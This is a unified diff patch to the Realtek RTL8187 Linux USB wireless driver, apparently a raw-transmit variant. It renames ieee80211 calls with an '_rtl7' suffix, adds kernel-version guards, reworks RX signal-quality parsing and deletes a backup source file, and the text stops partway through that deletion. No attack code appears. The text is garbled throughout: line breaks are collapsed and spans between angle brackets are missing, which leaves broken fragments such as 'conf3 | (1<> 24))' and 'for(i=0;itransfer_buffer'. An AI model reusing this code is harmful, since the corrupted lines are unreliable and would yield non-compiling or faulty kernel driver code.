DMESGW("Exiting..."); return -1; - + } - + // DMESG("Energy threshold: %x",priv->cs_treshold); DMESG("PAPE from CONFIG2: %x",read_nic_byte(dev,CONFIG2)&0x7); //DMESG("CONFIG2: %x ECONFIG2: %x",read_nic_byte(dev,CONFIG2),eprom_read(dev,EPROM_CONFIG2)); - - if(rtl8187_usb_initendpoints(dev)!=0){ + + if(rtl8187_usb_initendpoints(dev)!=0){ DMESG("Endopoints initialization failed"); return -ENOMEM; } -#if 0 - if (0!=alloc_rx_desc_ring(dev, priv->rxbuffersize, priv->rxringcount)) +#if 0 + if (0!=alloc_rx_desc_ring(dev, priv->rxbuffersize, priv->rxringcount)) return -ENOMEM; if (0!=alloc_tx_desc_ring(dev, priv->txbuffsize, priv->txringcount, @@ -1869,16 +2010,16 @@ if (0!=alloc_tx_desc_ring(dev, priv->txbuffsize, priv->txringcount, TX_LOWPRIORITY_RING_ADDR)) return -ENOMEM; - - + + if (0!=alloc_tx_beacon_desc_ring(dev, priv->txbeaconcount)) return -ENOMEM; #endif - + #ifdef DEBUG_EPROM dump_eprom(dev); -#endif +#endif return 0; } @@ -1898,7 +2039,7 @@ rtl8180_set_mode(dev, EPROM_CMD_CONFIG); conf3 = read_nic_byte(dev, CONFIG3); - write_nic_byte(dev, CONFIG3, conf3 | (1<> 24)); write_nic_byte(dev, 0x7e, ((phyw & 0x00ff0000) >> 16)); write_nic_byte(dev, 0x7d, ((phyw & 0x0000ff00) >> 8)); write_nic_byte(dev, 0x7c, ((phyw & 0x000000ff) )); //read_nic_dword(dev, PHY_ADR); -#if 0 +#if 0 for(i=0;i<10;i++){ write_nic_dword(dev, PHY_ADR, 0xffffff7f & phyw); phyr = read_nic_byte(dev, PHY_READ); if(phyr == (data&0xff)) break; - + } #endif /* this is ok to fail when we write AGC table. check for AGC table might be @@ -1988,60 +2129,60 @@ void rtl8180_adapter_start(struct net_device *dev) { - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); //u32 anaparam; //u8 config3; - + //rtl8180_rtx_disable(dev); rtl8180_reset(dev); write_nic_byte(dev,0x85,0); write_nic_byte(dev,0x91,0); - + /* light blink! */ write_nic_byte(dev,0x85,4); write_nic_byte(dev,0x91,1); write_nic_byte(dev,0x90,0); - + priv->irq_mask = 0xffff; /* priv->dma_poll_mask = 0; priv->dma_poll_mask|= (1<dev_addr)[0]); write_nic_word(dev, MAC4, ((u32*)dev->dev_addr)[1] & 0xffff ); rtl8180_set_mode(dev, EPROM_CMD_NORMAL); rtl8180_update_msr(dev); - + rtl8180_set_mode(dev, EPROM_CMD_CONFIG); - + write_nic_word(dev,0xf4,0xffff); write_nic_byte(dev, - CONFIG1, (read_nic_byte(dev,CONFIG1) & 0x3f) | 0x80); + CONFIG1, (read_nic_byte(dev,CONFIG1) & 0x3f) | 0x80); rtl8180_set_mode(dev,EPROM_CMD_NORMAL); - - write_nic_dword(dev,INT_TIMEOUT,0); + + write_nic_dword(dev,INT_TIMEOUT,0); #ifdef DEBUG_REGISTERS - rtl8180_dump_reg(dev); + rtl8180_dump_reg(dev); #endif - - - write_nic_byte(dev, WPA_CONFIG, 0); + + + write_nic_byte(dev, WPA_CONFIG, 0); write_nic_byte(dev, RATE_FALLBACK, 0x81); rtl8187_set_rate(dev); - - priv->rf_init(dev); + + priv->rf_init(dev); if(priv->rf_set_sens != NULL) - priv->rf_set_sens(dev,priv->sens); - + priv->rf_set_sens(dev,priv->sens); + write_nic_word(dev,0x5e,1); #if 1 @@ -2054,13 +2195,13 @@ write_nic_byte(dev, 0xff, 0x60); write_nic_word(dev,0x5e,0); - - + + rtl8180_irq_enable(dev); /*DMESG ("lfree %d",get_curr_tx_free_desc(dev,LOW_PRIORITY)); - + DMESG ("nfree %d",get_curr_tx_free_desc(dev,NORM_PRIORITY)); - + DMESG ("hfree %d",get_curr_tx_free_desc(dev,HI_PRIORITY)); if(check_nic_enought_desc(dev,NORM_PRIORITY)) DMESG("NORM OK"); if(check_nic_enought_desc(dev,HI_PRIORITY)) DMESG("HI OK"); @@ -2077,8 +2218,8 @@ void rtl8180_start_tx_beacon(struct net_device *dev) { int i; - struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); - u16 word; + struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv_rtl7(dev); + u16 word; DMESG("Enabling beacon TX"); //write_nic_byte(dev, 0x42,0xe6);// TCR //rtl8180_init_beacon(dev); @@ -2091,41 +2232,41 @@ //write_nic_word(dev,0x7a,0); //write_nic_word(dev,0x7a,0x8000); - + word = read_nic_word(dev, BcnItv); word &= ~BcnItv_BcnItv; // clear Bcn_Itv write_nic_word(dev, BcnItv, word); - write_nic_word(dev, AtimWnd, + write_nic_word(dev, AtimWnd, read_nic_word(dev, AtimWnd) &~ AtimWnd_AtimWnd); - + word = read_nic_word(dev, BintrItv); word &= ~BintrItv_BintrItv; - - //word |= priv->ieee80211->beacon_interval * + + //word |= priv->ieee80211->beacon_interval * // ((priv->txbeaconcount > 1)?(priv->txbeaconcount-1):1); // FIXME:FIXME check if correct ^^ worked with 0x3e8; - + write_nic_word(dev, BintrItv, word); - + //write_nic_word(dev,0x2e,0xe002); //write_nic_dword(dev,0x30,0xb8c7832e); for(i=0; iieee80211->beacon_cell_ssid[i]); - + // rtl8180_update_msr(dev); - + //write_nic_byte(dev,CONFIG4,3); /* !!!!!!!!!! */ - + rtl8180_set_mode(dev, EPROM_CMD_NORMAL); - + rtl8180_irq_enable(dev); - + /* VV !!!!!!!!!! VV*/ /* rtl8180_set_mode(dev,EPROM_CMD_CONFIG); - write_nic_byte(dev,0x9d,0x00); + write_nic_byte(dev,0x9d,0x00); rtl8180_set_mode(dev,EPROM_CMD_NORMAL); */ } @@ -2135,137 +2276,138 @@ ***************************************************************************/ static struct net_device_stats *rtl8180_stats(struct net_device *dev) { - struct r8180_priv *priv = ieee80211_priv(dev); - + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); + return &priv->ieee80211->stats; } int _rtl8180_up(struct net_device *dev) { - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); priv->up=1; - - //DMESG("Bringing up iface"); + +// DMESG("Bringing up iface"); rtl8180_adapter_start(dev); - rtl8180_rx_enable(dev); - rtl8180_tx_enable(dev); - - ieee80211_softmac_start_protocol(priv->ieee80211); - - ieee80211_reset_queue(priv->ieee80211); + ieee80211_softmac_start_protocol_rtl7(priv->ieee80211); + ieee80211_reset_queue_rtl7(priv->ieee80211); if(!netif_queue_stopped(dev)) netif_start_queue(dev); else netif_wake_queue(dev); - return 0; } int rtl8180_open(struct net_device *dev) { - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); int ret; - + down(&priv->wx_sem); + ret = rtl8180_up(dev); up(&priv->wx_sem); return ret; - + } int rtl8180_up(struct net_device *dev) { - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); if (priv->up == 1) return -1; - + return _rtl8180_up(dev); } int rtl8180_close(struct net_device *dev) { - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); int ret; - + down(&priv->wx_sem); - + ret = rtl8180_down(dev); - + up(&priv->wx_sem); - + return ret; } int rtl8180_down(struct net_device *dev) { - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); if (priv->up == 0) return -1; - + priv->up=0; /* FIXME */ if (!netif_queue_stopped(dev)) netif_stop_queue(dev); - + rtl8180_rtx_disable(dev); rtl8180_irq_disable(dev); - ieee80211_softmac_stop_protocol(priv->ieee80211); - + ieee80211_softmac_stop_protocol_rtl7(priv->ieee80211); + return 0; } void rtl8180_commit(struct net_device *dev) { - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); if (priv->up == 0) return ; - - ieee80211_softmac_stop_protocol(priv->ieee80211); - + + ieee80211_softmac_stop_protocol_rtl7(priv->ieee80211); + rtl8180_irq_disable(dev); rtl8180_rtx_disable(dev); _rtl8180_up(dev); } +# if (LINUX_VERSION_CODE >= KERNEL_VERSION(2,6,20)) +void rtl8180_restart(struct work_struct *work) +{ + struct r8180_priv *priv = container_of(work, struct r8180_priv, reset_wq); + struct net_device *dev = priv->dev; +#else void rtl8180_restart(struct net_device *dev) { - struct r8180_priv *priv = ieee80211_priv(dev); - + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); +#endif down(&priv->wx_sem); - rtl8180_commit(dev); - + up(&priv->wx_sem); } static void r8180_set_multicast(struct net_device *dev) { - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); short promisc; //down(&priv->wx_sem); - + /* FIXME FIXME */ - + promisc = (dev->flags & IFF_PROMISC) ? 1:0; - + if (promisc != priv->promisc) // rtl8180_commit(dev); - + priv->promisc = promisc; - + //schedule_work(&priv->reset_wq); //up(&priv->wx_sem); } @@ -2273,17 +2415,17 @@ int r8180_set_mac_adr(struct net_device *dev, void *mac) { - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); struct sockaddr *addr = mac; - + down(&priv->wx_sem); - + memcpy(dev->dev_addr, addr->sa_data, ETH_ALEN); - + schedule_work(&priv->reset_wq); - + up(&priv->wx_sem); - + return 0; } @@ -2291,16 +2433,18 @@ /* based on ipw2200 driver */ int rtl8180_ioctl(struct net_device *dev, struct ifreq *rq, int cmd) { - struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); - + struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv_rtl7(dev); + struct iwreq *wrq; + int ret; + down(&priv->wx_sem); - - struct iwreq *wrq = (struct iwreq *)rq; - - int ret=-1; + + wrq = (struct iwreq *)rq; + + ret=-1; switch (cmd) { case RTL_IOCTL_WPA_SUPPLICANT: - ret = ieee80211_wpa_supplicant_ioctl(priv->ieee80211, &wrq->u.data); + ret = ieee80211_wpa_supplicant_ioctl_rtl7(priv->ieee80211, &wrq->u.data); break; default: @@ -2309,7 +2453,7 @@ } up(&priv->wx_sem); - + return ret; } @@ -2320,10 +2464,11 @@ struct net_device *dev = (struct net_device*)rx_urb->context; int status,len,flen; struct sk_buff *skb; - u32 *desc; - + u8 *desc; + u8 signal,quality,rate; + //DMESG("rtl8187_rx_isr"); - + struct ieee80211_rx_stats stats = { .signal = 0, .noise = -98, @@ -2332,43 +2477,109 @@ .freq = IEEE80211_24GHZ_BAND, }; + //DMESG("RX %d ",rx_urb->status); status = rx_urb->status; if(status == 0){ - + len = rx_urb->actual_length; - // len = len - 4 - 15 - 1; /* CRC, DESC, SEPARATOR*/ + // len = len - 4 - 15 - 1; /* CRC, DESC, SEPARATOR*/ len -= 4*4;/* 4 dword and 4 byte CRC */ - +#if 0 desc = (u32*)(rx_urb->transfer_buffer + len); - + flen = desc[0] & 0xfff; - + if( flen <= rx_urb->actual_length){ - - stats.signal = (desc[1] & 0x7f00)>>8; - stats.noise = desc[1] &0xff; - stats.rate = desc[0] >> 20 & 0xf; + + //stats.signal = (desc[1] & 0x7f00)>>8; + //stats.noise = desc[1] &0xff; + signal=(desc[1]& (0xff0000))>>16; + signal=(signal&0xfe)>>1; // Modify by hikaru 6.6 + + quality=(desc[1] & (0xff)); + + rate=(desc[0] &((1<<23)|(1<<22)|(1<<21)|(1<<20)))>>20; + // printk(KERN_INFO "rate is %d!\n",rate); + stats.rate = rtl8180_rate2rate(rate); + // printk(KERN_INFO "stats.rate is %d!\n",stats.rate); + //stats.rate = desc[0] >> 20 & 0xf; stats.mac_time[0] = desc[2]; stats.mac_time[1] = desc[3]; +#endif + + desc = rx_urb->transfer_buffer + len; + + flen = ((desc[1] & 0x0f) << 8) + (desc[0] & 0xff); + + if( flen <= rx_urb->actual_length){ + //stats.signal = (desc[1] & 0x7f00)>>8; + //stats.noise = desc[1] &0xff; + signal=(desc[6]& 0xfe)>>1; + //signal=(signal&0xfe)>>1; // Modify by hikaru 6.6 + + quality=desc[4] & 0xff; + + //rate=(desc[2] &((1<<7)|(1<<6)|(1<<5)|(1<<4)))>>4; + rate=(desc[2] & 0xf0)>>4; + // printk(KERN_INFO "rate is %d!\n",rate); + stats.rate = rtl8180_rate2rate(rate); + // printk(KERN_INFO "stats.rate is %d!\n",stats.rate); + //stats.rate = desc[0] >> 20 & 0xf; + stats.mac_time[0] = desc[8] + (desc[9]<<8) + (desc[10]<<16) + (desc[11]<<24); + stats.mac_time[1] = desc[12] + (desc[13]<<8) + (desc[14]<<16) + (desc[15]<<24); + + + //calculate link quality begin + if(!rtl8180_IsWirelessBMode(stats.rate) ) + { // OFDM rate. + if(signal>90) + signal=90; + else if(signal<25) + signal=25; + signal = (90-signal)*100/65; + } + else + { // CCK rate. + if(signal>95) + signal = 95; + else if(signal<30) + signal = 30; + signal =(95-signal )*100/65; + } + priv->wstats.qual.level = signal; + // printk(KERN_INFO "signal is %d!\n",signal); + if(quality > 64) + priv ->wstats.qual.qual = 0; + else + priv ->wstats.qual.qual = ((64-quality) * 100) / 64; // SQ value is the SIGNAL_QUALITY returned to IORequest, + //and this value only appear when STA is associated to AP or + // STA is in IBSS mode + // printk(KERN_INFO "quality is %d!\n",priv->wstats.qual.qual); + priv->wstats.qual.noise = 100 - priv ->wstats.qual.qual; + priv->wstats.qual.updated = 7; + if(priv->ieee80211->iw_mode == IW_MODE_MONITOR) + { + stats.signal = priv->wstats.qual.level; + stats.noise = priv->wstats.qual.noise; + } + //calculate link quality end skb = dev_alloc_skb(flen-4); - //skb_reserve(skb,2); - if(skb){ + if(skb){ memcpy(skb_put(skb,flen-4), rx_urb->transfer_buffer,flen -4); - + #ifdef DUMP_RX int i; for(i=0;itransfer_buffer))[i]); printk("------RATE %x:w---------------\n",stats.rate); - + #endif priv->stats.rxok++; // priv->rxskb = skb; // priv->tempstats = &stats; - - if(!ieee80211_rx(priv->ieee80211, + if(!ieee80211_rx_rtl7(priv->ieee80211, skb, &stats)) dev_kfree_skb_any(skb); } @@ -2376,9 +2587,8 @@ }else{ priv->stats.rxstaterr++; priv->ieee80211->stats.rx_errors++; - } - + if(status != -ENOENT)rtl8187_rx_urbsubmit(dev,rx_urb); else DMESG("RX process aborted due to explicit shutdown"); } @@ -2396,20 +2606,22 @@ struct r8180_priv *priv= NULL; struct usb_device *udev = interface_to_usbdev(intf); -//printk("===> rtl8187_usb_probe()\n"); - - dev = alloc_ieee80211(sizeof(struct r8180_priv)); - +//printk("===> rtl8187_usb_probe()\n"); + + dev = alloc_ieee80211_rtl7(sizeof(struct r8180_priv)); + +#if LINUX_VERSION_CODE < KERNEL_VERSION(2,6,24) SET_MODULE_OWNER(dev); - usb_set_intfdata(intf, dev); - +#endif + usb_set_intfdata(intf, dev); + SET_NETDEV_DEV(dev, &intf->dev); - priv = ieee80211_priv(dev); + priv = ieee80211_priv_rtl7(dev); priv->ieee80211 = netdev_priv(dev); - + priv->udev=udev; - + dev->open = rtl8180_open; dev->stop = rtl8180_close; //dev->hard_start_xmit = rtl8180_8023_hard_start_xmit; @@ -2418,41 +2630,46 @@ dev->do_ioctl = rtl8180_ioctl; dev->set_multicast_list = r8180_set_multicast; dev->set_mac_address = r8180_set_mac_adr; +#if WIRELESS_EXT >= 12 +#if WIRELESS_EXT < 17 dev->get_wireless_stats = r8180_get_wireless_stats; +#endif + dev->wireless_handlers = (struct iw_handler_def *) &r8180_wx_handlers_def; +#endif dev->type=ARPHRD_ETHER; - + if (dev_alloc_name(dev, ifname) < 0){ DMESG("Oops: devname already taken! Trying wlan%%d...\n"); ifname = "wlan%d"; dev_alloc_name(dev, ifname); } - + // dev->open=rtl8180_init; - - if(rtl8180_init(dev)!=0){ + + if(rtl8180_init(dev)!=0){ DMESG("Initialization failed"); goto fail; } - + netif_carrier_off(dev); netif_stop_queue(dev); - + register_netdev(dev); - + rtl8180_proc_init_one(dev); - - + + DMESG("Driver probe completed\n"); - return 0; + return 0; + - fail: - free_ieee80211(dev); - + free_ieee80211_rtl7(dev); + DMESG("wlan driver load failed\n"); - + return -ENODEV; - + } @@ -2461,13 +2678,13 @@ struct r8180_priv *priv; struct net_device *dev = usb_get_intfdata(intf); if(dev){ - + unregister_netdev(dev); - - priv=ieee80211_priv(dev); - + + priv=ieee80211_priv_rtl7(dev); + rtl8180_proc_remove_one(dev); - + rtl8180_down(dev); priv->rf_close(dev); //rtl8180_rtx_disable(dev); @@ -2478,12 +2695,12 @@ } // pci_disable_device(pdev); - free_ieee80211(dev); + free_ieee80211_rtl7(dev); DMESG("wlan driver removed\n"); } -static int __init rtl8187_usb_module_init(void) +static int __init rtl8187_usb_module_init_rtl7(void) { printk(KERN_INFO "\nLinux kernel driver for RTL8187 \ based WLAN cards\n"); @@ -2495,7 +2712,7 @@ } -static void __exit rtl8187_usb_module_exit(void) +static void __exit rtl8187_usb_module_exit_rtl7(void) { usb_deregister(&rtl8187_usb_driver); @@ -2508,14 +2725,14 @@ { unsigned long flags; short enough_desc; - struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); - + struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv_rtl7(dev); + spin_lock_irqsave(&priv->tx_lock,flags); enough_desc = check_nic_enought_desc(dev,pri); - spin_unlock_irqrestore(&priv->tx_lock,flags); - + spin_unlock_irqrestore(&priv->tx_lock,flags); + if(enough_desc) - ieee80211_wake_queue(priv->ieee80211); + ieee80211_wake_queue_rtl7(priv->ieee80211); } @@ -2523,5 +2740,5 @@ /*************************************************************************** ------------------- module init / exit stubs ---------------- ****************************************************************************/ -module_init(rtl8187_usb_module_init); -module_exit(rtl8187_usb_module_exit); +module_init(rtl8187_usb_module_init_rtl7); +module_exit(rtl8187_usb_module_exit_rtl7); diff -Naur rtl8187_linux_26.1010.0622.2006/beta-8187/r8187_core.c~ rtl8187_linux_26.1010.0622.2006_rawtx/beta-8187/r8187_core.c~ --- rtl8187_linux_26.1010.0622.2006/beta-8187/r8187_core.c~ 2006-06-22 07:40:10.000000000 +0200 +++ rtl8187_linux_26.1010.0622.2006_rawtx/beta-8187/r8187_core.c~ 1970-01-01 01:00:00.000000000 +0100 @@ -1,2527 +0,0 @@ -/* - This is part of rtl8187 OpenSource driver - v 0.1 - Copyright (C) Andrea Merello 2005 - Released under the terms of GPL (General Public License) - - - Parts of this driver are based on the rtl8180 driver skeleton - from Patric Schenke & Andres Salomon. - - Parts of this driver are based on the Intel Pro Wireless 2*00 GPL drivers. - - some ideas might be derived from David Young rtl8180 netbsd driver. - - Parts of the usb code are from the r8150.c driver in linux kernel - - Some ideas borrowed from the 8139too.c driver included in linux kernel. - - We (I?) want to thanks the Authors of those projecs and also the - Ndiswrapper's project Authors. - - A special big thanks goes also to Realtek corp. for their help in my - attempt to add RTL8187 and RTL8225 support, and to David Young also. - - - Please note that this file is a modified version from rtl8180-sa2400 - drv. So some other people have contributed to this project, and they are - thanked in the rtl8180-sa2400 CHANGELOG. -*/ - -#ifndef CONFIG_FORCE_HARD_FLOAT -double __floatsidf (int i) { return i; } -unsigned int __fixunsdfsi (double d) { return d; } -double __adddf3(double a, double b) { return a+b; } -double __addsf3(float a, float b) { return a+b; } -double __subdf3(double a, double b) { return a-b; } -double __extendsfdf2(float a) {return a;} -#endif - -#undef LOOP_TEST -#undef DUMP_RX -#undef DUMP_TX -#undef DEBUG_TX_DESC2 -#undef RX_DONT_PASS_UL -#undef DEBUG_EPROM -#undef DEBUG_RX_VERBOSE -#undef DUMMY_RX -#undef DEBUG_ZERO_RX -#undef DEBUG_RX_SKB -#undef DEBUG_TX_FRAG -#undef DEBUG_RX_FRAG -#undef DEBUG_TX_FILLDESC -#undef DEBUG_TX -#undef DEBUG_IRQ -#undef DEBUG_RX -#undef DEBUG_RXALLOC -#undef DEBUG_REGISTERS -#undef DEBUG_RING -#undef DEBUG_IRQ_TASKLET -#undef DEBUG_TX_ALLOC -#undef DEBUG_TX_DESC - -//#define CONFIG_RTL8180_IO_MAP - -#include "r8180_hw.h" -#include "r8187.h" -#include "r8180_rtl8225.h" /* RTL8225 Radio frontend */ -#include "r8180_93cx6.h" /* Card EEPROM */ -#include "r8180_wx.h" - - -// FIXME: check if 2.6.7 is ok -#if (LINUX_VERSION_CODE < KERNEL_VERSION(2,6,7)) -#define usb_kill_urb usb_unlink_urb -#endif - -#ifdef CONFIG_RTL8180_PM -#include "r8180_pm.h" -#endif - -#ifndef USB_VENDOR_ID_REALTEK -#define USB_VENDOR_ID_REALTEK 0x0bda -#endif -#ifndef USB_VENDOR_ID_NETGEAR -#define USB_VENDOR_ID_NETGEAR 0x0846 -#endif - -static struct usb_device_id rtl8187_usb_id_tbl[] = { - {USB_DEVICE(USB_VENDOR_ID_REALTEK, 0x8187)}, - {USB_DEVICE(USB_VENDOR_ID_NETGEAR, 0x6100)}, - {USB_DEVICE(USB_VENDOR_ID_NETGEAR, 0x6a00)}, - - {} -}; - -static char* ifname = "wlan%d"; -#if 0 -static int hwseqnum = 0; -static int hwwep = 0; -#endif -static int channels = 0x3fff; - -MODULE_LICENSE("GPL"); -MODULE_VERSION("V 1.1"); -MODULE_DEVICE_TABLE(usb, rtl8187_usb_id_tbl); -MODULE_AUTHOR("Andrea Merello "); -MODULE_DESCRIPTION("Linux driver for Realtek RTL8187 WiFi cards"); - -#if 0 -MODULE_PARM(ifname,"s"); -MODULE_PARM_DESC(devname," Net interface name, wlan%d=default"); - -MODULE_PARM(hwseqnum,"i"); -MODULE_PARM_DESC(hwseqnum," Try to use hardware 802.11 header sequence numbers. Zero=default"); - -MODULE_PARM(hwwep,"i"); -MODULE_PARM_DESC(hwwep," Try to use hardware WEP support. Still broken and not available on all cards"); - -MODULE_PARM(channels,"i"); -MODULE_PARM_DESC(channels," Channel bitmask for specific locales. NYI"); -#endif - -#if LINUX_VERSION_CODE >= KERNEL_VERSION(2, 6, 9) -module_param(ifname, charp, S_IRUGO|S_IWUSR ); -//module_param(hwseqnum,int, S_IRUGO|S_IWUSR); -//module_param(hwwep,int, S_IRUGO|S_IWUSR); -module_param(channels,int, S_IRUGO|S_IWUSR); -#else -MODULE_PARM(ifname, "s"); -//MODULE_PARM(hwseqnum,"i"); -//MODULE_PARM(hwwep,"i"); -MODULE_PARM(channels,"i"); -#endif - -MODULE_PARM_DESC(devname," Net interface name, wlan%d=default"); -//MODULE_PARM_DESC(hwseqnum," Try to use hardware 802.11 header sequence numbers. Zero=default"); -//MODULE_PARM_DESC(hwwep," Try to use hardware WEP support. Still broken and not available on all cards"); -MODULE_PARM_DESC(channels," Channel bitmask for specific locales. NYI"); - -static int __devinit rtl8187_usb_probe(struct usb_interface *intf, - const struct usb_device_id *id); - -static void __devexit rtl8187_usb_disconnect(struct usb_interface *intf); - -static struct usb_driver rtl8187_usb_driver = { - -#if LINUX_VERSION_CODE < KERNEL_VERSION(2, 6, 16) - .owner = THIS_MODULE, -#endif - .name = RTL8187_MODULE_NAME, /* Driver name */ - .id_table = rtl8187_usb_id_tbl, /* PCI_ID table */ - .probe = rtl8187_usb_probe, /* probe fn */ - .disconnect = rtl8187_usb_disconnect, /* remove fn */ -#ifdef CONFIG_RTL8180_PM - .suspend = rtl8180_suspend, /* PM suspend fn */ - .resume = rtl8180_resume, /* PM resume fn */ -#else - .suspend = NULL, /* PM suspend fn */ - .resume = NULL, /* PM resume fn */ -#endif -}; - - -void write_nic_byte_E(struct net_device *dev, int indx, u8 data) -{ - - struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); - struct usb_device *udev = priv->udev; - - usb_control_msg(udev, usb_sndctrlpipe(udev, 0), - RTL8187_REQ_SET_REGS, RTL8187_REQT_WRITE, - indx|0xfe00, 0, &data, 1, HZ / 2); -} - - -void write_nic_byte(struct net_device *dev, int indx, u8 data) -{ - - struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); - struct usb_device *udev = priv->udev; - - usb_control_msg(udev, usb_sndctrlpipe(udev, 0), - RTL8187_REQ_SET_REGS, RTL8187_REQT_WRITE, - indx|0xff00, 0, &data, 1, HZ / 2); -} - - -void write_nic_word(struct net_device *dev, int indx, u16 data) -{ - - struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); - struct usb_device *udev = priv->udev; - - usb_control_msg(udev, usb_sndctrlpipe(udev, 0), - RTL8187_REQ_SET_REGS, RTL8187_REQT_WRITE, - indx|0xff00, 0, &data, 2, HZ / 2); -} - - -void write_nic_dword(struct net_device *dev, int indx, u32 data) -{ - - struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); - struct usb_device *udev = priv->udev; - - usb_control_msg(udev, usb_sndctrlpipe(udev, 0), - RTL8187_REQ_SET_REGS, RTL8187_REQT_WRITE, - indx|0xff00, 0, &data, 4, HZ / 2); -} - - - -u8 read_nic_byte(struct net_device *dev, int indx) -{ - u8 data; - struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); - struct usb_device *udev = priv->udev; - - usb_control_msg(udev, usb_rcvctrlpipe(udev, 0), - RTL8187_REQ_GET_REGS, RTL8187_REQT_READ, - indx|0xff00, 0, &data, 1, HZ / 2); - return data; -} - -u8 read_nic_byte_E(struct net_device *dev, int indx) -{ - u8 data; - struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); - struct usb_device *udev = priv->udev; - - usb_control_msg(udev, usb_rcvctrlpipe(udev, 0), - RTL8187_REQ_GET_REGS, RTL8187_REQT_READ, - indx|0xfe00, 0, &data, 1, HZ / 2); - return data; -} - - -u16 read_nic_word(struct net_device *dev, int indx) -{ - u16 data; - struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); - struct usb_device *udev = priv->udev; - - usb_control_msg(udev, usb_rcvctrlpipe(udev, 0), - RTL8187_REQ_GET_REGS, RTL8187_REQT_READ, - indx|0xff00, 0, &data, 2, HZ / 2); - return data; -} - - -u32 read_nic_dword(struct net_device *dev, int indx) -{ - u32 data; - struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); - struct usb_device *udev = priv->udev; - - usb_control_msg(udev, usb_rcvctrlpipe(udev, 0), - RTL8187_REQ_GET_REGS, RTL8187_REQT_READ, - indx|0xff00, 0, &data, 4, HZ / 2); - return data; -} - -/* this might still called in what was the PHY rtl8185/rtl8187 common code - * plans are to possibilty turn it again in one common code... - */ -inline void force_pci_posting(struct net_device *dev) -{ -} - - -//irqreturn_t rtl8180_interrupt(int irq, void *netdev, struct pt_regs *regs); -//void set_nic_rxring(struct net_device *dev); -//void set_nic_txring(struct net_device *dev); -static struct net_device_stats *rtl8180_stats(struct net_device *dev); -void rtl8180_commit(struct net_device *dev); -void rtl8180_restart(struct net_device *dev); - -/**************************************************************************** - -----------------------------PROCFS STUFF------------------------- -*****************************************************************************/ - -static struct proc_dir_entry *rtl8180_proc = NULL; - -static int proc_get_registers(char *page, char **start, - off_t offset, int count, - int *eof, void *data) -{ - struct net_device *dev = data; -// struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); - - int len = 0; - int i,n; - - int max=0xff; - - /* This dump the current register page */ - for(n=0;n<=max;) - { - //printk( "\nD: %2x> ", n); - len += snprintf(page + len, count - len, - "\nD: %2x > ",n); - - for(i=0;i<16 && n<=max;i++,n++) - len += snprintf(page + len, count - len, - "%2x ",read_nic_byte(dev,n)); - - // printk("%2x ",read_nic_byte(dev,n)); - } - len += snprintf(page + len, count - len,"\n"); - - - - *eof = 1; - return len; - -} - -#if 0 -static int proc_get_stats_hw(char *page, char **start, - off_t offset, int count, - int *eof, void *data) -{ - struct net_device *dev = data; - struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); - - int len = 0; - - len += snprintf(page + len, count - len, - "NIC int: %lu\n" - "Total int: %lu\n", - priv->stats.ints, - priv->stats.shints); - - *eof = 1; - return len; -} -#endif - -static int proc_get_stats_tx(char *page, char **start, - off_t offset, int count, - int *eof, void *data) -{ - struct net_device *dev = data; - struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); - - int len = 0; - - len += snprintf(page + len, count - len, - "TX normal priority ok int: %lu\n" - "TX normal priority error int: %lu\n" -// "TX high priority ok int: %lu\n" -// "TX high priority failed error int: %lu\n" - "TX low priority ok int: %lu\n" - "TX low priority failed error int: %lu\n" - "TX queue resume: %lu\n" - "TX queue stopped?: %d\n" - "TX fifo overflow: %lu\n" -// "TX beacon: %lu\n" - "TX lp queue: %d\n" - "TX np queue: %d\n" - "TX HW queue: %d\n" - "TX lp dropped: %lu\n" - "TX np dropped: %lu\n" - "TX total data packets %lu\n", -// "TX beacon aborted: %lu\n", - priv->stats.txnpokint, - priv->stats.txnperr, -// priv->stats.txhpokint, -// priv->stats.txhperr, - priv->stats.txlpokint, - priv->stats.txlperr, - priv->stats.txresumed, - netif_queue_stopped(dev), - priv->stats.txoverflow, -// priv->stats.txbeacon, - atomic_read(&(priv->tx_lp_pending)), - atomic_read(&(priv->tx_np_pending)), - read_nic_byte(dev, TXFIFOCOUNT), - priv->stats.txlpdrop, - priv->stats.txnpdrop, - priv->stats.txdatapkt -// priv->stats.txbeaconerr - ); - - *eof = 1; - return len; -} - - - -static int proc_get_stats_rx(char *page, char **start, - off_t offset, int count, - int *eof, void *data) -{ - struct net_device *dev = data; - struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); - - int len = 0; - - len += snprintf(page + len, count - len, - "RX packets: %lu\n" - "RX urb status error: %lu\n" - "RX invalid urb error: %lu\n", - priv->stats.rxok, - priv->stats.rxstaterr, - 